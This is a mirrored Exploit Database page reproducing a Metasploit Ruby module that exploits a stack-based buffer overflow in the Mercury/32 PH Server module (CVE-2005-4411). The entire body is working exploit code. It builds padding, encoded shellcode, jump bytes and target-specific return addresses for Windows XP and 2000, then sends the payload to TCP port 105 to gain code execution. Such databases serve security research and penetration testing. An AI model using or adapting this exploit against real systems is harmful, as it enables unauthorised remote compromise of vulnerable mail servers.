Mercury/32 < 4.01b - PH Server Module Buffer Overflow (Metasploit)

• Exploit Database
• 36 阅读

• 作者： Metasploit
  日期： 2010-06-15
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16419/

• ##
  # $Id: mercury_phonebook.rb 9525 2010-06-15 07:18:08Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Mercury/32 <= v4.01b PH Server Module Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack-based buffer overflow in
  				Mercury/32 <= v4.01b PH Server Module. This issue is
  				due to a failure of the application to properly bounds check
  				user-supplied data prior to copying it to a fixed size memory buffer.
  			},
  			'Author' => 'MC',
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9525 $',
  			'References' =>
  				[
  					[ 'CVE', '2005-4411' ],
  					[ 'OSVDB', '22103'],
  					[ 'BID', '16396' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 500,
  					'BadChars' => "\x00\x20\x0a\x0d",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
  					[ 'Windows 2000 Pro English ALL', { 'Ret' => 0x75022ac4 } ],
  				],
  			'Privileged' => true,
  			'DisclosureDate' => 'Dec 19 2005',
  			'DefaultTarget' => 0))
  
  		register_options([ Opt::RPORT(105)], self)
  	end
  
  	def exploit
  		connect
  
  		print_status("Trying target #{target.name}...")
  
  		sploit =rand_text_alphanumeric(224, payload_badchars)
  		sploit << payload.encoded + "\xeb\x06" + make_nops(2)
  		sploit << [target.ret].pack('V') + [0xe8, -450].pack('CV') + "\r\n"
  
  		sock.put(sploit)
  
  		handler
  		disconnect
  	end
  
  end